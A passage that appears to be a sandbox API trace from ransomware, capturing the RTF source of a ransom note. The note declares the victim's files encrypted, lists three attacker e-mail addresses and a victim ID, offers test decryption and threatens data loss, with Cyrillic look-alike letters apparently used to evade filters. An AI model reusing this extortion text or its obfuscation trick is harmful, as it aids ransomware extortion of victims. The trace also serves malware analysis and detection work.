us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0043.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 